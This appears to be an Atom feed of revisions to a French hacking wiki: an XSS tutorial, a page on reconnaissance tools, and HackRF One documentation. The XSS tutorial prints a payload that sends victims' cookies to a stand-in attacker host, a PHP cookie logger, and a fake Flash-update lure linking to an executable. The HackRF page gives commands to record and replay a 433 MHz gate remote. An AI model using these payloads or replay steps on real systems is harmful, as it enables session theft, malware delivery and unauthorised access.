Un cas classique d'exploitation serait de remplacer la description: &amp;lt;b&amp;gt;Oh! Trop mignon!&amp;lt;/b&amp;gt; par: &amp;lt;b&amp;gt;&amp;quot; /&amp;gt;&amp;lt;script&amp;gt;alert('Hacked!');&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Le site nous retournerait alors:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=&amp;quot;./lapin.jpg&amp;quot; title=&amp;quot;&amp;quot; /&amp;gt;&amp;lt;script&amp;gt;alert('Hacked!');&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ce code HTML étant valide, notre JavaScript sera exécuté au sein du navigateur.&lt;br /&gt;
&lt;br /&gt;
En se débrouillant pour faire afficher cette image à un autre utilisateur, le code s'exécutera cette fois ci dans son navigateur. Il est ainsi possible de récupérer certaines informations sensibles ou alors de faire exécuter quelque action depuis le navigateur de notre cible.&lt;br /&gt;
&lt;br /&gt;
Ici, comme le code injecté est enregistré par le serveur via notre image, quiconque se rendra sur la page où notre image est enregistré se verra exécuter notre script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Éxploitation =&lt;br /&gt;
== Exemple de récupération de cookies ==&lt;br /&gt;
*Préparation du fichier &amp;lt;b&amp;gt;getCookie.php&amp;lt;/b&amp;gt;. Celui-ci devra être enregistré de façon `pouvoir être consulté depuis le navigateur de notre cible.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
     $cookie = $_GET['v'] . &amp;quot;\n&amp;quot;;&lt;br /&gt;
     file_put_contents(&amp;quot;cookies.txt&amp;quot;, $cookie, FILE_APPEND | LOCK_EX);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*La victime doit maintenant accéder à notre page:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot; /&amp;gt;&amp;lt;script&amp;gt;document.location=&amp;quot;http://attaquant.com/getCookie.php?v=&amp;quot; + document.cookie;&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La page contenant l'image deviendra alors:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=&amp;quot;./lapin.jpg&amp;quot; title=&amp;quot;&amp;quot; /&amp;gt;&amp;lt;script&amp;gt;document.location=&amp;quot;http://control.domain/get.php?v=&amp;quot; + document.cookie;&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Une fois arrivé sur la page piégée, l'utilisateur sera redirigé vers notre page avec ses cookies en paramètre. Cookies qui seront enregistrés dans un fichier nommé &amp;lt;b&amp;gt;cookie.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Social Engineering ==&lt;br /&gt;
Un exemple d'attaque à adapter selon son imagination:&lt;br /&gt;
*Création d'un exécutable type [[Reverse Shell]] ou autre.&lt;br /&gt;
*Simulation d'un plugin manquant pour lire ou exécuter un contenu sur le navigateur de notre victime. Ex: &amp;quot;Pour continuer, Flash Player doit être mis à jour.&amp;quot; + image utilisée lorsqu'un plugin est réellement manquant.&lt;br /&gt;
*Téléchargement de notre faux plugin par la victime, puis exécution.&lt;br /&gt;
&lt;br /&gt;
 &amp;quot; /&amp;gt; &amp;lt;a href=&amp;quot;http://control.domain/flash_update.exe&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;http://control.domain/flash.png&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;p alt=&amp;quot;&lt;br /&gt;
&lt;br /&gt;
= Cheat Sheet =&lt;br /&gt;
*https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Scripting_-_XSS&amp;diff=93536</id>
		<title>Web:Cross-Site Scripting - XSS</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Web:Cross-Site_Scripting_-_XSS&amp;diff=93536"/>
		<updated>2023-12-02T14:08:42Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : Page créée avec « = Présentation = Cette vulnérabilité est possible lorsqu'une valeur qui peut être contrôlée par l'utilisateur est injectée dans une page web sans suffisamment de contrôles, et que cette valeur peut être du code HTML ou JavaScript valide, qui sera alors interprété par le navigateur.  Imaginons un site où il serait possible d'uploader une image. Nous envoyons donc une image avec comme nom: &amp;lt;b&amp;gt;lapin.jpg&amp;lt;/b&amp;gt; et comme description: &amp;lt;b&amp;gt;Oh! Trop mignon!&amp;lt;/b&amp;gt;.... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Présentation =&lt;br /&gt;
Cette vulnérabilité est possible lorsqu'une valeur qui peut être contrôlée par l'utilisateur est injectée dans une page web sans suffisamment de contrôles, et que cette valeur peut être du code HTML ou JavaScript valide, qui sera alors interprété par le navigateur.&lt;br /&gt;
&lt;br /&gt;
Imaginons un site où il serait possible d'uploader une image. Nous envoyons donc une image avec comme nom: &amp;lt;b&amp;gt;lapin.jpg&amp;lt;/b&amp;gt; et comme description: &amp;lt;b&amp;gt;Oh! Trop mignon!&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La page retournée nous renverrait alors l'image sous la forme:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=&amp;quot;./lapin.jpg&amp;quot; title=&amp;quot;Oh! Trop mignon!&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Un cas classique d'exploitation serait de remplacer la description: &amp;lt;b&amp;gt;Oh! Trop mignon!&amp;lt;/b&amp;gt; par: &amp;lt;b&amp;gt;&amp;quot; /&amp;gt;&amp;lt;script&amp;gt;alert('Hacked!');&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Le site nous retournerait alors:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=&amp;quot;./lapin.jpg&amp;quot; title=&amp;quot;&amp;quot; /&amp;gt;&amp;lt;script&amp;gt;alert('Hacked!');&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ce code HTML étant valide, notre JavaScript sera exécuté au sein du navigateur.&lt;br /&gt;
&lt;br /&gt;
En se débrouillant pour faire afficher cette image à un autre utilisateur, le code s'exécutera cette fois ci dans son navigateur. Il est ainsi possible de récupérer certaines informations sensibles ou alors de faire exécuter quelque action depuis le navigateur de notre cible.&lt;br /&gt;
&lt;br /&gt;
Ici, comme le code injecté est enregistré par le serveur via notre image, quiconque se rendra sur la page où notre image est enregistré se verra exécuter notre script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Éxploitation =&lt;br /&gt;
== Exemple de récupération de cookies ==&lt;br /&gt;
*Préparation du fichier &amp;lt;b&amp;gt;getCookie.php&amp;lt;/b&amp;gt;. Celui-ci devra être enregistré de façon `pouvoir être consulté depuis le navigateur de notre cible.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
     $cookie = $_GET['v'] . &amp;quot;\n&amp;quot;;&lt;br /&gt;
     file_put_contents(&amp;quot;cookies.txt&amp;quot;, $cookie, FILE_APPEND | LOCK_EX);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*La victime doit maintenant accéder à notre page:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot; /&amp;gt;&amp;lt;script&amp;gt;document.location=&amp;quot;http://attaquant.com/get.php?v=&amp;quot; + document.cookie;&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La page contenant l'image deviendra alors:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=&amp;quot;./lapin.jpg&amp;quot; title=&amp;quot;&amp;quot; /&amp;gt;&amp;lt;script&amp;gt;document.location=&amp;quot;http://control.domain/get.php?v=&amp;quot; + document.cookie;&amp;lt;/script&amp;gt;&amp;lt;p class=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Une fois arrivé sur la page piégée, l'utilisateur sera redirigé vers notre page avec ses cookies en paramètre. Cookies qui seront enregistrés dans un fichier nommé &amp;lt;b&amp;gt;cookie.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Social Engineering ==&lt;br /&gt;
Un exemple d'attaque à adapter selon son imagination:&lt;br /&gt;
*Création d'un exécutable type [[Reverse Shell]] ou autre.&lt;br /&gt;
*Simulation d'un plugin manquant pour lire ou exécuter un contenu sur le navigateur de notre victime. Ex: &amp;quot;Pour continuer, Flash Player doit être mis à jour.&amp;quot; + image utilisée lorsqu'un plugin est réellement manquant.&lt;br /&gt;
*Téléchargement de notre faux plugin par la victime, puis exécution.&lt;br /&gt;
&lt;br /&gt;
 &amp;quot; /&amp;gt; &amp;lt;a href=&amp;quot;http://control.domain/flash_update.exe&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;http://control.domain/flash.png&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;p alt=&amp;quot;&lt;br /&gt;
&lt;br /&gt;
= Cheat Sheet =&lt;br /&gt;
*https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93535</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93535"/>
		<updated>2023-12-02T12:57:07Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Nmap */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
Nmap est un outil d'exploration réseau et un scanneur de ports.&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
Dirb est un scanneur de contenu web, il va servir à énumérer des dossiers potentiellement présents sur une cible donnée.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
CMS Detection and Exploitation suite&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
Black box WordPress vulnerability scanner&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93534</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93534"/>
		<updated>2023-12-02T12:56:18Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Dirb */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
Nmap est un outil d'exploration réseau et un scanneur de ports.&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
ou&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
Dirb est un scanneur de contenu web, il va servir à énumérer des dossiers potentiellement présents sur une cible donnée.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
CMS Detection and Exploitation suite&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
Black box WordPress vulnerability scanner&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93533</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93533"/>
		<updated>2023-12-02T12:55:57Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Dirb */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
Nmap est un outil d'exploration réseau et un scanneur de ports.&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
ou&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
Dirb est un scanneur de contenu web, il va servir à énumérer des dossiers potentiellement présents sur une cible donnée.&lt;br /&gt;
&lt;br /&gt;
 $ dirb http://localhost -z 250&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
 DIRB v2.22    &lt;br /&gt;
 By The Dark Raver&lt;br /&gt;
 -----------------&lt;br /&gt;
 &lt;br /&gt;
 START_TIME: Sat Dec  2 13:54:11 2023&lt;br /&gt;
 URL_BASE: http://localhost/&lt;br /&gt;
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt&lt;br /&gt;
 SPEED_DELAY: 250 milliseconds&lt;br /&gt;
 &lt;br /&gt;
 -----------------&lt;br /&gt;
&lt;br /&gt;
 GENERATED WORDS: 4612&lt;br /&gt;
 &lt;br /&gt;
 ---- Scanning URL: http://localhost/ ----&lt;br /&gt;
 &amp;gt; Testing: http://localhost/.hta&lt;br /&gt;
&lt;br /&gt;
 $ man dirb&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
CMS Detection and Exploitation suite&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
Black box WordPress vulnerability scanner&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93532</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93532"/>
		<updated>2023-12-02T12:50:08Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Nmap */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
Nmap est un outil d'exploration réseau et un scanneur de ports.&lt;br /&gt;
 $ nmap &amp;lt;domain|ip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'options sont disponibles, pour une liste complète:&lt;br /&gt;
 $ man nmap&lt;br /&gt;
ou&lt;br /&gt;
 $ nmap -h&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
dirb - Web Content Scanner&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
CMS Detection and Exploitation suite&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
Black box WordPress vulnerability scanner&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93531</id>
		<title>Hacking:Recherche d'information sur cible</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Hacking:Recherche_d%27information_sur_cible&amp;diff=93531"/>
		<updated>2023-12-02T11:46:25Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : Page créée avec « = Nmap = Nmap est un outil d'exploration réseau et un scanneur de ports.  = Dirb = dirb - Web Content Scanner  = CMSEEK =  CMS Detection and Exploitation suite  = Nikto = nikto - Scan web server for known vulnerabilities  = WPScan = Black box WordPress vulnerability scanner »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Nmap =&lt;br /&gt;
Nmap est un outil d'exploration réseau et un scanneur de ports.&lt;br /&gt;
&lt;br /&gt;
= Dirb =&lt;br /&gt;
dirb - Web Content Scanner&lt;br /&gt;
&lt;br /&gt;
= CMSEEK = &lt;br /&gt;
CMS Detection and Exploitation suite&lt;br /&gt;
&lt;br /&gt;
= Nikto =&lt;br /&gt;
nikto - Scan web server for known vulnerabilities&lt;br /&gt;
&lt;br /&gt;
= WPScan =&lt;br /&gt;
Black box WordPress vulnerability scanner&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93530</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93530"/>
		<updated>2023-12-02T11:14:56Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* HackRF One */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le HackRF One ([https://greatscottgadgets.com/hackrf/one/ Great Scott Gadgets]) est une radio définie par logiciel capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Il a été conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération.&lt;br /&gt;
Le HackRF One est un matériel open source qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils HackRF sont livrés avec un micrologiciel sur la mémoire flash SPI. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du firmware (hackrf_one_usb.bin) dans le répertoire firmware-bin de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez compiler le vôtre à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour Jawbreaker, utilisez hackrf_jawbreaker_usb.bin. Si vous compilez à partir des sources, le fichier s'appellera hackrf_usb.bin.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Lorsque vous écrivez une image de micrologiciel sur la mémoire flash SPI, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;quot;.bin&amp;quot;.&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la mémoire flash SPI, vous devrez peut-être réinitialiser le dispositif HackRF en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant HACKRF_ERROR_NOT_FOUND, il s'agit souvent d'un problème de permissions dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le firmware installé dans la mémoire flash SPI a été endommagé ou si vous programmez un HackRF fait maison pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus. Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le HackRF en mode de démarrage DFU.&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le firmware en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;quot;.bin&amp;quot; dans la mémoire flash SPI.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le mode de démarrage DFU n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur LPC4330 du HackRF est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, HackRF démarre à partir de la mémoire flash SPI (SPIFI). Il est également possible de démarrer HackRF en mode DFU (USB). En mode de démarrage DFU, le HackRF procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme DFU (Device Firmware Update) via USB, puis exécute ce code à partir de la RAM. Le SPIFI est normalement inutilisé et non modifié en mode DFU.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le HackRF One en mode DFU, maintenez le bouton DFU enfoncé tout en l'allumant ou en appuyant sur le bouton RESET et en le relâchant. Relâchez le bouton DFU lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le HackRF One est prêt à recevoir le micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le Jawbreaker en mode DFU, court-circuitez deux broches sur l'une des en-têtes &amp;quot;BOOT&amp;quot; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches 1 et 2 de l'en-tête P32 du Jawbreaker. L'en-tête P32 est étiqueté &amp;quot;P2_8&amp;quot; sur la plupart des Jawbreaker mais peut être étiqueté &amp;quot;2&amp;quot; sur les prototypes. La broche 1 est étiquetée &amp;quot;VCC&amp;quot;. La broche 2 est la broche centrale. Après le démarrage DFU, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le Jawbreaker est prêt à recevoir un micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de micrologiciel dont le nom de fichier se termine par &amp;quot;.dfu&amp;quot; par DFU, et non un micrologiciel se terminant par &amp;quot;.bin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du firmware du HackRF (prior to release 2021.03.1) nécessitent une étape supplémentaire pour programmer un flux binaire dans le CPLD.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du CPLD, mettez d'abord à jour le microprogramme flash SPI, libhackrf et hackrf-tools.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le CPLD a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
